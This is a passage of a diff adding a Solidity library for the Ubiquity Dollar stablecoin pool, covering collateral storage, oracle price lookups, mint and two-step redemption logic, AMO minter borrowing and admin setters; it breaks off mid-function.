collateral index -> collateral price + uint256[] collateralPrices; + // how much collateral/governance tokens user should provide/get to mint/redeem Dollar tokens, 1e6 precision + uint256 collateralRatio; + // array collateral symbols + string[] collateralSymbols; + // collateral address -> is it enabled + mapping(address collateralAddress => bool isEnabled) isCollateralEnabled; + // Number of decimals needed to get to E18. collateral index -> missing decimals + uint256[] missingDecimals; + // Total across all collaterals. Accounts for missing_decimals + uint256[] poolCeilings; + //==================== + // Redeem related + //==================== + // user -> block number (collateral independent) + mapping(address => uint256) lastRedeemedBlock; + // 1010000 = $1.01 + uint256 mintPriceThreshold; + // 990000 = $0.99 + uint256 redeemPriceThreshold; + // address -> collateral index -> balance + mapping(address user => mapping(uint256 collateralIndex => uint256 amount)) redeemCollateralBalances; + // address -> balance + mapping(address user => uint256 amount) redeemGovernanceBalances; + // number of blocks to wait before being able to collectRedemption() + uint256 redemptionDelayBlocks; + // collateral index -> balance + uint256[] unclaimedPoolCollateral; + // total amount of unclaimed Governance tokens in the pool + uint256 unclaimedPoolGovernance; + //================ + // Fees related + //================ + // minting fee of a particular collateral index, 1_000_000 = 100% + uint256[] mintingFee; + // redemption fee of a particular collateral index, 1_000_000 = 100% + uint256[] redemptionFee; + //================= + // Pause related + //================= + // whether borrowing collateral by AMO minters is paused for a particular collateral index + bool[] isBorrowPaused; + // whether minting is paused for a particular collateral index + bool[] isMintPaused; + // whether redeeming is paused for a particular collateral index + bool[] isRedeemPaused; + //==================================== + // Governance token pricing related + //==================================== + // chainlink price feed for ETH/USD pair + address ethUsdPriceFeedAddress; + // threshold in seconds when chainlink's ETH/USD price feed answer should be considered stale + uint256 ethUsdPriceFeedStalenessThreshold; + // Curve's CurveTwocryptoOptimized contract for Governance/ETH pair + address governanceEthPoolAddress; + //================================ + // Dollar token pricing related + //================================ + // chainlink price feed for stable/USD pair + address stableUsdPriceFeedAddress; + // threshold in seconds when chainlink's stable/USD price feed answer should be considered stale + uint256 stableUsdPriceFeedStalenessThreshold; + } + + /// @notice Struct used for detailed collateral information + struct CollateralInformation { + uint256 index; + string symbol; + address collateralAddress; + address collateralPriceFeedAddress; + uint256 collateralPriceFeedStalenessThreshold; + bool isEnabled; + uint256 missingDecimals; + uint256 price; + uint256 poolCeiling; + bool isMintPaused; + bool isRedeemPaused; + bool isBorrowPaused; + uint256 mintingFee; + uint256 redemptionFee; + } + + /** + * @notice Returns struct used as a storage for this library + * @return uPoolStorage Struct used as a storage + */ + function ubiquityPoolStorage() + internal + pure + returns (UbiquityPoolStorage storage uPoolStorage) + { + bytes32 position = UBIQUITY_POOL_STORAGE_POSITION; + assembly { + uPoolStorage.slot := position + } + } + + //=========== + // Events + //=========== + + /// @notice Emitted when new AMO minter is added + event AmoMinterAdded(address amoMinterAddress); + /// @notice Emitted when AMO minter is removed + event AmoMinterRemoved(address amoMinterAddress); + /// @notice Emitted on setting a chainlink's collateral price feed params + event CollateralPriceFeedSet( + uint256 collateralIndex, + address priceFeedAddress, + uint256 stalenessThreshold + ); + /// @notice Emitted on setting a collateral price + event CollateralPriceSet(uint256 collateralIndex, uint256 newPrice); + /// @notice Emitted on setting a collateral ratio + event CollateralRatioSet(uint256 newCollateralRatio); + /// @notice Emitted on enabling/disabling a particular collateral token + event CollateralToggled(uint256 collateralIndex, bool newState); + /// @notice Emitted on setting chainlink's price feed for ETH/USD pair + event EthUsdPriceFeedSet( + address newPriceFeedAddress, + uint256 newStalenessThreshold + ); + /// @notice Emitted when fees are updated + event FeesSet( + uint256 collateralIndex, + uint256 newMintFee, + uint256 newRedeemFee + ); + /// @notice Emitted on setting a pool for Governance/ETH pair + event GovernanceEthPoolSet(address newGovernanceEthPoolAddress); + /// @notice Emitted on toggling pause for mint/redeem/borrow + event MintRedeemBorrowToggled(uint256 collateralIndex, uint8 toggleIndex); + /// @notice Emitted when new pool ceiling (i.e. max amount of collateral) is set + event PoolCeilingSet(uint256 collateralIndex, uint256 newCeiling); + /// @notice Emitted when mint and redeem price thresholds are updated (1_000_000 = $1.00) + event PriceThresholdsSet( + uint256 newMintPriceThreshold, + uint256 newRedeemPriceThreshold + ); + /// @notice Emitted when a new redemption delay in blocks is set + event RedemptionDelayBlocksSet(uint256 redemptionDelayBlocks); + /// @notice Emitted on setting chainlink's price feed for stable/USD pair + event StableUsdPriceFeedSet( + address newPriceFeedAddress, + uint256 newStalenessThreshold + ); + + //===================== + // Modifiers + //===================== + + /** + * @notice Checks whether collateral token is enabled (i.e. mintable and redeemable) + * @param collateralIndex Collateral token index + */ + modifier collateralEnabled(uint256 collateralIndex) { + UbiquityPoolStorage storage poolStorage = ubiquityPoolStorage(); + require( + poolStorage.isCollateralEnabled[ + poolStorage.collateralAddresses[collateralIndex] + ], + "Collateral disabled" + ); + _; + } + + /** + * @notice Checks whether a caller is the AMO minter address + */ + modifier onlyAmoMinter() { + UbiquityPoolStorage storage poolStorage = ubiquityPoolStorage(); + require( + poolStorage.isAmoMinterEnabled[msg.sender], + "Not an AMO Minter" + ); + _; + } + + //===================== + // Views + //===================== + + /** + * @notice Returns all collateral addresses + * @return All collateral addresses + */ + function allCollaterals() internal view returns (address[] memory) { + UbiquityPoolStorage storage poolStorage = ubiquityPoolStorage(); + return poolStorage.collateralAddresses; + } + + /** + * @notice Check if collateral token with given address already exists + * @param collateralAddress The collateral token address to check + */ + function collateralExists( + address collateralAddress + ) internal view returns (bool) { + UbiquityPoolStorage storage poolStorage = ubiquityPoolStorage(); + address[] memory collateralAddresses = poolStorage.collateralAddresses; + + for (uint256 i = 0; i < collateralAddresses.length; i++) { + if (collateralAddresses[i] == collateralAddress) { + return true; + } + } + return false; + } + + /** + * @notice Returns collateral information + * @param collateralAddress Address of the collateral token + * @return returnData Collateral info + */ + function collateralInformation( + address collateralAddress + ) internal view returns (CollateralInformation memory returnData) { + // load the storage + UbiquityPoolStorage storage poolStorage = ubiquityPoolStorage(); + + // validation + require( + poolStorage.isCollateralEnabled[collateralAddress], + "Invalid collateral" + ); + + // get the index + uint256 index = poolStorage.collateralIndex[collateralAddress]; + + returnData = CollateralInformation( + index, + poolStorage.collateralSymbols[index], + collateralAddress, + poolStorage.collateralPriceFeedAddresses[index], + poolStorage.collateralPriceFeedStalenessThresholds[index], + poolStorage.isCollateralEnabled[collateralAddress], + poolStorage.missingDecimals[index], + poolStorage.collateralPrices[index], + poolStorage.poolCeilings[index], + poolStorage.isMintPaused[index], + poolStorage.isRedeemPaused[index], + poolStorage.isBorrowPaused[index], + poolStorage.mintingFee[index], + poolStorage.redemptionFee[index] + ); + } + + /** + * @notice Returns current collateral ratio + * @return Collateral ratio + */ + function collateralRatio() internal view returns (uint256) { + UbiquityPoolStorage storage poolStorage = ubiquityPoolStorage(); + return poolStorage.collateralRatio; + } + + /** + * @notice Returns USD value of all collateral tokens held in the pool, in E18 + * @return balanceTally USD value of all collateral tokens + */ + function collateralUsdBalance() + internal + view + returns (uint256 balanceTally) + { + UbiquityPoolStorage storage poolStorage = ubiquityPoolStorage(); + uint256 collateralTokensCount = poolStorage.collateralAddresses.length; + balanceTally = 0; + for (uint256 i = 0; i < collateralTokensCount; i++) { + balanceTally += freeCollateralBalance(i) + .mul(10 ** poolStorage.missingDecimals[i]) + .mul(poolStorage.collateralPrices[i]) + .div(UBIQUITY_POOL_PRICE_PRECISION); + } + } + + /** + * @notice Returns chainlink price feed information for ETH/USD pair + * @return Price feed address and staleness threshold in seconds + */ + function ethUsdPriceFeedInformation() + internal + view + returns (address, uint256) + { + UbiquityPoolStorage storage poolStorage = ubiquityPoolStorage(); + return ( + poolStorage.ethUsdPriceFeedAddress, + poolStorage.ethUsdPriceFeedStalenessThreshold + ); + } + + /** + * @notice Returns free collateral balance (i.e. that can be borrowed by AMO minters) + * @param collateralIndex collateral token index + * @return Amount of free collateral + */ + function freeCollateralBalance( + uint256 collateralIndex + ) internal view returns (uint256) { + UbiquityPoolStorage storage poolStorage = ubiquityPoolStorage(); + return + IERC20(poolStorage.collateralAddresses[collateralIndex]) + .balanceOf(address(this)) + .sub(poolStorage.unclaimedPoolCollateral[collateralIndex]); + } + + /** + * @notice Returns Dollar value in collateral tokens + * @param collateralIndex collateral token index + * @param dollarAmount Amount of Dollars + * @return Value in collateral tokens + */ + function getDollarInCollateral( + uint256 collateralIndex, + uint256 dollarAmount + ) internal view returns (uint256) { + UbiquityPoolStorage storage poolStorage = ubiquityPoolStorage(); + return + dollarAmount + .mul(UBIQUITY_POOL_PRICE_PRECISION) + .div(10 ** poolStorage.missingDecimals[collateralIndex]) + .div(poolStorage.collateralPrices[collateralIndex]); + } + + /** + * @notice Returns Ubiquity Dollar token USD price (1e6 precision) from Curve plain pool (Stable coin, Ubiquity Dollar) + * How it works: + * 1. Fetch Stable/USD quote from chainlink + * 2. Fetch Dollar/Stable quote from Curve's plain pool + * 3. Calculate Dollar token price in USD + * @return dollarPriceUsd USD price of Ubiquity Dollar + */ + function getDollarPriceUsd() + internal + view + returns (uint256 dollarPriceUsd) + { + AppStorage storage store = LibAppStorage.appStorage(); + UbiquityPoolStorage storage poolStorage = ubiquityPoolStorage(); + + // fetch Stable/USD quote from chainlink (8 decimals) + AggregatorV3Interface stableUsdPriceFeed = AggregatorV3Interface( + poolStorage.stableUsdPriceFeedAddress + ); + ( + , + int256 stableUsdAnswer, + , + uint256 stableUsdUpdatedAt, + + ) = stableUsdPriceFeed.latestRoundData(); + uint256 stableUsdPriceFeedDecimals = stableUsdPriceFeed.decimals(); + // validate Stable/USD chainlink response + require(stableUsdAnswer > 0, "Invalid Stable/USD price"); + require( + block.timestamp - stableUsdUpdatedAt < + poolStorage.stableUsdPriceFeedStalenessThreshold, + "Stale Stable/USD data" + ); + + // fetch Dollar/Stable quote from Curve's plain pool (18 decimals) + uint256 dollarPriceUsdD18 = ICurveStableSwapNG( + store.stableSwapPlainPoolAddress + ).price_oracle(0); + + // convert to 6 decimals + dollarPriceUsd = dollarPriceUsdD18 + .mul(UBIQUITY_POOL_PRICE_PRECISION) + .mul(uint256(stableUsdAnswer)) + .div(10 ** stableUsdPriceFeedDecimals) + .div(1e18); + } + + /** + * @notice Returns Governance token price in USD (6 decimals precision) + * @dev How it works: + * 1. Fetch ETH/USD price from chainlink oracle + * 2. Fetch Governance/ETH price from Curve's oracle + * 3. Calculate Governance token price in USD + * @return governancePriceUsd Governance token price in USD + */ + function getGovernancePriceUsd() + internal + view + returns (uint256 governancePriceUsd) + { + UbiquityPoolStorage storage poolStorage = ubiquityPoolStorage(); + + // fetch latest ETH/USD price + AggregatorV3Interface ethUsdPriceFeed = AggregatorV3Interface( + poolStorage.ethUsdPriceFeedAddress + ); + (, int256 answer, , uint256 updatedAt, ) = ethUsdPriceFeed + .latestRoundData(); + uint256 ethUsdPriceFeedDecimals = ethUsdPriceFeed.decimals(); + + // validate ETH/USD chainlink response + require(answer > 0, "Invalid price"); + require( + block.timestamp - updatedAt < + poolStorage.ethUsdPriceFeedStalenessThreshold, + "Stale data" + ); + + // convert ETH/USD chainlink price to 6 decimals + uint256 ethUsdPrice = uint256(answer) + .mul(UBIQUITY_POOL_PRICE_PRECISION) + .div(10 ** ethUsdPriceFeedDecimals); + + // fetch ETH/Governance price (18 decimals) + uint256 ethGovernancePriceD18 = ICurveTwocryptoOptimized( + poolStorage.governanceEthPoolAddress + ).price_oracle(); + // calculate Governance/ETH price (18 decimals) + uint256 governanceEthPriceD18 = uint256(1e18).mul(1e18).div( + ethGovernancePriceD18 + ); + + // calculate Governance token price in USD (6 decimals) + governancePriceUsd = governanceEthPriceD18.mul(ethUsdPrice).div(1e18); + } + + /** + * @notice Returns user's balance available for redemption + * @param userAddress User address + * @param collateralIndex Collateral token index + * @return User's balance available for redemption + */ + function getRedeemCollateralBalance( + address userAddress, + uint256 collateralIndex + ) internal view returns (uint256) { + UbiquityPoolStorage storage poolStorage = ubiquityPoolStorage(); + return + poolStorage.redeemCollateralBalances[userAddress][collateralIndex]; + } + + /** + * @notice Returns user's Governance tokens balance available for redemption + * @param userAddress User address + * @return User's Governance tokens balance available for redemption + */ + function getRedeemGovernanceBalance( + address userAddress + ) internal view returns (uint256) { + UbiquityPoolStorage storage poolStorage = ubiquityPoolStorage(); + return poolStorage.redeemGovernanceBalances[userAddress]; + } + + /** + * @notice Returns pool address for Governance/ETH pair + * @return Pool address + */ + function governanceEthPoolAddress() internal view returns (address) { + UbiquityPoolStorage storage poolStorage = ubiquityPoolStorage(); + return poolStorage.governanceEthPoolAddress; + } + + /** + * @notice Returns chainlink price feed information for stable/USD pair + * @dev Here stable coin refers to the 1st coin in the Curve's stable/Dollar plain pool + * @return Price feed address and staleness threshold in seconds + */ + function stableUsdPriceFeedInformation() + internal + view + returns (address, uint256) + { + UbiquityPoolStorage storage poolStorage = ubiquityPoolStorage(); + return ( + poolStorage.stableUsdPriceFeedAddress, + poolStorage.stableUsdPriceFeedStalenessThreshold + ); + } + + //==================== + // Public functions + //==================== + + /** + * @notice Mints Dollars in exchange for collateral tokens + * @param collateralIndex Collateral token index + * @param dollarAmount Amount of dollars to mint + * @param dollarOutMin Min amount of dollars to mint (slippage protection) + * @param maxCollateralIn Max amount of collateral to send (slippage protection) + * @param maxGovernanceIn Max amount of Governance tokens to send (slippage protection) + * @param isOneToOne Force providing only collateral without Governance tokens + * @return totalDollarMint Amount of Dollars minted + * @return collateralNeeded Amount of collateral sent to the pool + * @return governanceNeeded Amount of Governance tokens burnt from sender + */ + function mintDollar( + uint256 collateralIndex, + uint256 dollarAmount, + uint256 dollarOutMin, + uint256 maxCollateralIn, + uint256 maxGovernanceIn, + bool isOneToOne + ) + internal + collateralEnabled(collateralIndex) + returns ( + uint256 totalDollarMint, + uint256 collateralNeeded, + uint256 governanceNeeded + ) + { + require( + ubiquityPoolStorage().isMintPaused[collateralIndex] == false, + "Minting is paused" + ); + // prevent unnecessary mints + require( + getDollarPriceUsd() >= ubiquityPoolStorage().mintPriceThreshold, + "Dollar price too low" + ); + + // update collateral price + updateChainLinkCollateralPrice(collateralIndex); + + // user forces 1-to-1 override or collateral ratio >= 100% + if ( + isOneToOne || + ubiquityPoolStorage().collateralRatio >= + UBIQUITY_POOL_PRICE_PRECISION + ) { + // get amount of collateral for minting Dollars + collateralNeeded = getDollarInCollateral( + collateralIndex, + dollarAmount + ); + governanceNeeded = 0; + } else if (ubiquityPoolStorage().collateralRatio == 0) { + // collateral ratio is 0%, Dollar tokens can be minted by providing only Governance tokens (i.e. fully algorithmic stablecoin) + collateralNeeded = 0; + governanceNeeded = dollarAmount + .mul(UBIQUITY_POOL_PRICE_PRECISION) + .div(getGovernancePriceUsd()); + } else { + // fractional, user has to provide both collateral and Governance tokens + uint256 dollarForCollateral = dollarAmount + .mul(ubiquityPoolStorage().collateralRatio) + .div(UBIQUITY_POOL_PRICE_PRECISION); + uint256 dollarForGovernance = dollarAmount.sub(dollarForCollateral); + collateralNeeded = getDollarInCollateral( + collateralIndex, + dollarForCollateral + ); + governanceNeeded = dollarForGovernance + .mul(UBIQUITY_POOL_PRICE_PRECISION) + .div(getGovernancePriceUsd()); + } + + // subtract the minting fee + totalDollarMint = dollarAmount + .mul( + UBIQUITY_POOL_PRICE_PRECISION.sub( + ubiquityPoolStorage().mintingFee[collateralIndex] + ) + ) + .div(UBIQUITY_POOL_PRICE_PRECISION); + + // check slippages + require((totalDollarMint >= dollarOutMin), "Dollar slippage"); + require((collateralNeeded <= maxCollateralIn), "Collateral slippage"); + require((governanceNeeded <= maxGovernanceIn), "Governance slippage"); + + // check the pool ceiling + require( + freeCollateralBalance(collateralIndex).add(collateralNeeded) <= + ubiquityPoolStorage().poolCeilings[collateralIndex], + "Pool ceiling" + ); + + // burn Governance tokens from sender and send collateral to the pool + IERC20Ubiquity(LibAppStorage.appStorage().governanceTokenAddress) + .burnFrom(msg.sender, governanceNeeded); + IERC20(ubiquityPoolStorage().collateralAddresses[collateralIndex]) + .safeTransferFrom(msg.sender, address(this), collateralNeeded); + + // mint Dollars + IERC20Ubiquity(LibAppStorage.appStorage().dollarTokenAddress).mint( + msg.sender, + totalDollarMint + ); + } + + /** + * @notice Burns redeemable Ubiquity Dollars and sends back 1 USD of collateral token for every 1 Ubiquity Dollar burned + * @dev Redeem process is split in two steps: + * @dev 1. `redeemDollar()` + * @dev 2. `collectRedemption()` + * @dev This is done in order to prevent someone using a flash loan of a collateral token to mint, redeem, and collect in a single transaction/block + * @param collateralIndex Collateral token index being withdrawn + * @param dollarAmount Amount of Ubiquity Dollars being burned + * @param governanceOutMin Minimum amount of Governance tokens that'll be withdrawn, used to set acceptable slippage + * @param collateralOutMin Minimum amount of collateral tokens that'll be withdrawn, used to set acceptable slippage + * @return collateralOut Amount of collateral tokens ready for redemption + */ + function redeemDollar( + uint256 collateralIndex, + uint256 dollarAmount, + uint256 governanceOutMin, + uint256 collateralOutMin + ) + internal + collateralEnabled(collateralIndex) + returns (uint256 collateralOut, uint256 governanceOut) + { + UbiquityPoolStorage storage poolStorage = ubiquityPoolStorage(); + + require( + poolStorage.isRedeemPaused[collateralIndex] == false, + "Redeeming is paused" + ); + + // prevent unnecessary redemptions that could adversely affect the Dollar price + require( + getDollarPriceUsd() <= poolStorage.redeemPriceThreshold, + "Dollar price too high" + ); + + uint256 dollarAfterFee = dollarAmount + .mul( + UBIQUITY_POOL_PRICE_PRECISION.sub( + poolStorage.redemptionFee[collateralIndex] + ) + ) + .div(UBIQUITY_POOL_PRICE_PRECISION); + + // update collateral price + updateChainLinkCollateralPrice(collateralIndex); + + // get current collateral ratio + uint256 currentCollateralRatio = poolStorage.collateralRatio; + + // fully collateralized + if (currentCollateralRatio >= UBIQUITY_POOL_PRICE_PRECISION) { + // get collateral output for incoming Dollars + collateralOut = getDollarInCollateral( + collateralIndex, + dollarAfterFee + ); + governanceOut = 0; + } else if (currentCollateralRatio == 0) { + // algorithmic, fully covered by Governance tokens + collateralOut = 0; + governanceOut = dollarAfterFee + .mul(UBIQUITY_POOL_PRICE_PRECISION) + .div(getGovernancePriceUsd()); + } else { + // fractional, partially covered by collateral and Governance tokens + collateralOut = getDollarInCollateral( + collateralIndex, + dollarAfterFee + ).mul(currentCollateralRatio).div(UBIQUITY_POOL_PRICE_PRECISION); + governanceOut = dollarAfterFee + .mul(UBIQUITY_POOL_PRICE_PRECISION.sub(currentCollateralRatio)) + .div(getGovernancePriceUsd()); + } + + // checks + require( + collateralOut <= + (IERC20(poolStorage.collateralAddresses[collateralIndex])) + .balanceOf(address(this)) + .sub(poolStorage.unclaimedPoolCollateral[collateralIndex]), + "Insufficient pool collateral" + ); + require(collateralOut >= collateralOutMin, "Collateral slippage"); + require(governanceOut >= governanceOutMin, "Governance slippage"); + + // increase collateral redemption balances + poolStorage.redeemCollateralBalances[msg.sender][ + collateralIndex + ] = poolStorage + .redeemCollateralBalances[msg.sender][collateralIndex].add( + collateralOut + ); + poolStorage.unclaimedPoolCollateral[collateralIndex] = poolStorage + .unclaimedPoolCollateral[collateralIndex] + .add(collateralOut); + + // increase Governance redemption balances + poolStorage.redeemGovernanceBalances[msg.sender] = poolStorage + .redeemGovernanceBalances[msg.sender] + .add(governanceOut); + poolStorage.unclaimedPoolGovernance = poolStorage + .unclaimedPoolGovernance + .add(governanceOut); + + poolStorage.lastRedeemedBlock[msg.sender] = block.number; + + // burn Dollars + IERC20Ubiquity(LibAppStorage.appStorage().dollarTokenAddress).burnFrom( + msg.sender, + dollarAmount + ); + // mint Governance tokens to this address + IERC20Ubiquity(LibAppStorage.appStorage().governanceTokenAddress).mint( + address(this), + governanceOut + ); + } + + /** + * @notice Used to collect collateral and Governance tokens after redeeming/burning Ubiquity Dollars + * @dev Redeem process is split in two steps: + * @dev 1. `redeemDollar()` + * @dev 2. `collectRedemption()` + * @dev This is done in order to prevent someone using a flash loan of a collateral token to mint, redeem, and collect in a single transaction/block + * @param collateralIndex Collateral token index being collected + * @return governanceAmount Amount of Governance tokens redeemed + * @return collateralAmount Amount of collateral tokens redeemed + */ + function collectRedemption( + uint256 collateralIndex + ) + internal + collateralEnabled(collateralIndex) + returns (uint256 governanceAmount, uint256 collateralAmount) + { + UbiquityPoolStorage storage poolStorage = ubiquityPoolStorage(); + + require( + poolStorage.isRedeemPaused[collateralIndex] == false, + "Redeeming is paused" + ); + require( + ( + poolStorage.lastRedeemedBlock[msg.sender].add( + poolStorage.redemptionDelayBlocks + ) + ) < block.number, + "Too soon to collect redemption" + ); + + bool sendGovernance = false; + bool sendCollateral = false; + + if (poolStorage.redeemGovernanceBalances[msg.sender] > 0) { + governanceAmount = poolStorage.redeemGovernanceBalances[msg.sender]; + poolStorage.redeemGovernanceBalances[msg.sender] = 0; + poolStorage.unclaimedPoolGovernance = poolStorage + .unclaimedPoolGovernance + .sub(governanceAmount); + sendGovernance = true; + } + + if ( + poolStorage.redeemCollateralBalances[msg.sender][collateralIndex] > + 0 + ) { + collateralAmount = poolStorage.redeemCollateralBalances[msg.sender][ + collateralIndex + ]; + poolStorage.redeemCollateralBalances[msg.sender][ + collateralIndex + ] = 0; + poolStorage.unclaimedPoolCollateral[collateralIndex] = poolStorage + .unclaimedPoolCollateral[collateralIndex] + .sub(collateralAmount); + sendCollateral = true; + } + + // send out tokens + if (sendGovernance) { + IERC20(LibAppStorage.appStorage().governanceTokenAddress) + .safeTransfer(msg.sender, governanceAmount); + } + if (sendCollateral) { + IERC20(poolStorage.collateralAddresses[collateralIndex]) + .safeTransfer(msg.sender, collateralAmount); + } + } + + /** + * @notice Updates collateral token price in USD from ChainLink price feed + * @param collateralIndex Collateral token index + */ + function updateChainLinkCollateralPrice(uint256 collateralIndex) internal { + UbiquityPoolStorage storage poolStorage = ubiquityPoolStorage(); + + AggregatorV3Interface priceFeed = AggregatorV3Interface( + poolStorage.collateralPriceFeedAddresses[collateralIndex] + ); + + // fetch latest price + ( + , + // roundId + int256 answer, // startedAt + , + uint256 updatedAt, // answeredInRound + + ) = priceFeed.latestRoundData(); + + // fetch number of decimals in chainlink feed + uint256 priceFeedDecimals = priceFeed.decimals(); + + // validation + require(answer > 0, "Invalid price"); + require( + block.timestamp - updatedAt < + poolStorage.collateralPriceFeedStalenessThresholds[ + collateralIndex + ], + "Stale data" + ); + + // convert chainlink price to 6 decimals + uint256 price = uint256(answer).mul(UBIQUITY_POOL_PRICE_PRECISION).div( + 10 ** priceFeedDecimals + ); + + poolStorage.collateralPrices[collateralIndex] = price; + + emit CollateralPriceSet(collateralIndex, price); + } + + //========================= + // AMO minters functions + //========================= + + /** + * @notice Allows AMO minters to borrow collateral to make yield in external + * protocols like Compound, Curve, erc... + * @dev Bypasses the gassy mint->redeem cycle for AMOs to borrow collateral + * @param collateralAmount Amount of collateral to borrow + */ + function amoMinterBorrow(uint256 collateralAmount) internal onlyAmoMinter { + UbiquityPoolStorage storage poolStorage = ubiquityPoolStorage(); + + // checks the collateral index of the minter as an additional safety check + uint256 minterCollateralIndex = IDollarAmoMinter(msg.sender) + .collateralIndex(); + + // checks to see if borrowing is paused + require( + poolStorage.isBorrowPaused[minterCollateralIndex] == false, + "Borrowing is paused" + ); + + // ensure collateral is enabled + require( + poolStorage.isCollateralEnabled[ + poolStorage.collateralAddresses[minterCollateralIndex] + ], + "Collateral disabled" + ); + + // ensure the pool is solvent (i.e. AMO minter borrows less than users want to redeem) + require( + collateralAmount <= freeCollateralBalance(minterCollateralIndex), + "Not enough free collateral" + ); + + // transfer + IERC20(poolStorage.collateralAddresses[minterCollateralIndex]) + .safeTransfer(msg.sender, collateralAmount); + } + + //======================== + // Restricted functions + //======================== + + /** + * @notice Adds a new AMO minter + * @param amoMinterAddress AMO minter address + */ + function addAmoMinter(address amoMinterAddress) internal { + require(amoMinterAddress != address(0), "Zero address detected"); + + // make sure the AMO Minter has collateralDollarBalance() + uint256 collatValE18 = IDollarAmoMinter(amoMinterAddress) + .collateralDollarBalance(); + require(collatValE18 >= 0, "Invalid AMO"); + + UbiquityPoolStorage storage poolStorage = ubiquityPoolStorage(); + + poolStorage.isAmoMinterEnabled[amoMinterAddress] = true; + + emit AmoMinterAdded(amoMinterAddress); + } + + /** + * @notice Adds a new collateral token + * @param collateralAddress Collateral token address + * @param chainLinkPriceFeedAddress Chainlink's price feed address + * @param poolCeiling Max amount of available tokens for collateral + */ + function addCollateralToken( + address collateralAddress, + address chainLinkPriceFeedAddress, + uint256 poolCeiling + ) internal { + require( + !collateralExists(collateralAddress), + "Collateral already added" + ); + + UbiquityPoolStorage storage poolStorage = ubiquityPoolStorage(); + + uint256 collateralIndex = poolStorage.collateralAddresses.length; + + // add collateral address to all collaterals + poolStorage.collateralAddresses.push(collateralAddress); + + // for fast collateral address -> collateral idx lookups later + poolStorage.collateralIndex[collateralAddress] = collateralIndex; + + // set collateral initially to disabled + poolStorage.isCollateralEnabled[collateralAddress] = false; + + // add in the missing decimals + poolStorage.missingDecimals.push( + uint256(18).sub(ERC20(collateralAddress).decimals()) + ); + + // add in the collateral symbols + poolStorage.collateralSymbols.push(ERC20(collateralAddress).symbol()); + + // initialize unclaimed pool collateral + poolStorage.unclaimedPoolCollateral.push(0); + + // initialize paused prices to $1 as a backup + poolStorage.collateralPrices.push(UBIQUITY_POOL_PRICE_PRECISION); + + // set fees to 0 by default + poolStorage.mintingFee.push(0); + poolStorage.redemptionFee.push(0); + + // handle the pauses + poolStorage.isMintPaused.push(false); + poolStorage.isRedeemPaused.push(false); + poolStorage.isBorrowPaused.push(false); + + // set pool ceiling + poolStorage.poolCeilings.push(poolCeiling); + + // set price feed address + poolStorage.collateralPriceFeedAddresses.push( + chainLinkPriceFeedAddress + ); + + // set price feed staleness threshold in seconds + poolStorage.collateralPriceFeedStalenessThresholds.push(1 days); + } + + /** + * @notice Removes AMO minter + * @param amoMinterAddress AMO minter address to remove + */ + function removeAmoMinter(address amoMinterAddress) internal { + UbiquityPoolStorage storage poolStorage = ubiquityPoolStorage(); + + poolStorage.isAmoMinterEnabled[amoMinterAddress] = false; + + emit AmoMinterRemoved(amoMinterAddress); + } + + /** + * @notice Sets collateral ChainLink price feed params + * @param collateralAddress Collateral token address + * @param chainLinkPriceFeedAddress ChainLink price feed address + * @param stalenessThreshold Threshold in seconds when chainlink answer should be considered stale + */ + function setCollateralChainLinkPriceFeed( + address collateralAddress, + address chainLinkPriceFeedAddress, + uint256 stalenessThreshold + ) internal { + require( + collateralExists(collateralAddress), + "Collateral does not exist" + ); + + UbiquityPoolStorage storage poolStorage = ubiquityPoolStorage(); + + uint256 collateralIndex = poolStorage.collateralIndex[ + collateralAddress + ]; + + // set price feed address + poolStorage.collateralPriceFeedAddresses[ + collateralIndex + ] = chainLinkPriceFeedAddress; + + // set staleness threshold in seconds when chainlink answer should be considered stale + poolStorage.collateralPriceFeedStalenessThresholds[ + collateralIndex + ] = stalenessThreshold; + + emit CollateralPriceFeedSet( + collateralIndex, + chainLinkPriceFeedAddress, + stalenessThreshold + ); + } + + /** + * @notice Sets collateral ratio + * @dev How much collateral/governance tokens user should provide/get to mint/redeem Dollar tokens, 1e6 precision. + * @dev Collateral ratio is capped to 100%. + * + * @dev Example (1_000_000 = 100%): + * - Mint: user provides 1 collateral token to get 1 Dollar + * - Redeem: user gets 1 collateral token for 1 Dollar + * + * @dev Example (900_000 = 90%): + * - Mint: user provides 0.9 collateral token and 0.1 Governance token to get 1 Dollar + * - Redeem: user gets 0.9 collateral token and 0.1 Governance token for 1 Dollar + * + * @param newCollateralRatio New collateral ratio + */ + function setCollateralRatio(uint256 newCollateralRatio) internal { + require(newCollateralRatio <= 1_000_000, "Collateral ratio too large"); + UbiquityPoolStorage storage poolStorage = ubiquityPoolStorage(); + + poolStorage.collateralRatio = newCollateralRatio; + + emit CollateralRatioSet(newCollateralRatio); + } + + /** + * @notice Sets chainlink params for ETH/USD price feed + * @param newPriceFeedAddress New chainlink price feed address for ETH/USD pair + * @param newStalenessThreshold New threshold in seconds when chainlink's ETH/USD price feed answer should be considered stale + */ + function setEthUsdChainLinkPriceFeed( + address newPriceFeedAddress, + uint256 newStalenessThreshold + ) internal { + UbiquityPoolStorage storage poolStorage = ubiquityPoolStorage(); + + poolStorage.ethUsdPriceFeedAddress = newPriceFeedAddress; + poolStorage.ethUsdPriceFeedStalenessThreshold = newStalenessThreshold; + + emit EthUsdPriceFeedSet(newPriceFeedAddress, newStalenessThreshold); + } + + /** + * @notice Sets mint and redeem fees, 1_000_000 = 100% + * @param collateralIndex Collateral token index + * @param newMintFee New mint fee + * @param newRedeemFee New redeem fee + */ + function setFees( + uint256 collateralIndex, + uint256 newMintFee, + uint256 newRedeemFee + ) internal { + UbiquityPoolStorage storage poolStorage = ubiquityPoolStorage(); + + poolStorage.mintingFee[collateralIndex] = newMintFee; + poolStorage.redemptionFee[collateralIndex] = newRedeemFee; + + emit FeesSet(collateralIndex, newMintFee, newRedeemFee); + } + + /** + * @notice Sets a new pool address for Governance/ETH pair + * + * @dev Based on Curve's CurveTwocryptoOptimized contract. Used for fetching Governance token USD price. + * How it works: + * 1. Fetch Governance/ETH price from CurveTwocryptoOptimized's built-in oracle + * 2. Fetch ETH/USD price from chainlink feed + * 3. Calculate Governance token price in USD + * + * @param newGovernanceEthPoolAddress New pool address for Governance/ETH pair + */ + function setGovernanceEthPoolAddress( + address newGovernanceEthPoolAddress + ) internal { + UbiquityPoolStorage storage poolStorage = ubiquityPoolStorage(); + + poolStorage.governanceEthPoolAddress = newGovernanceEthPoolAddress; + + emit GovernanceEthPoolSet(newGovernanceEthPoolAddress); + } + + /** + * @notice Sets max amount of collateral for a particular collateral token + * @param collateralIndex Collateral token index + * @param newCeiling Max amount of collateral + */ + function setPoolCeiling( + uint256 collateralIndex, + uint256 newCeiling + ) internal { + UbiquityPoolStorage storage poolStorage = 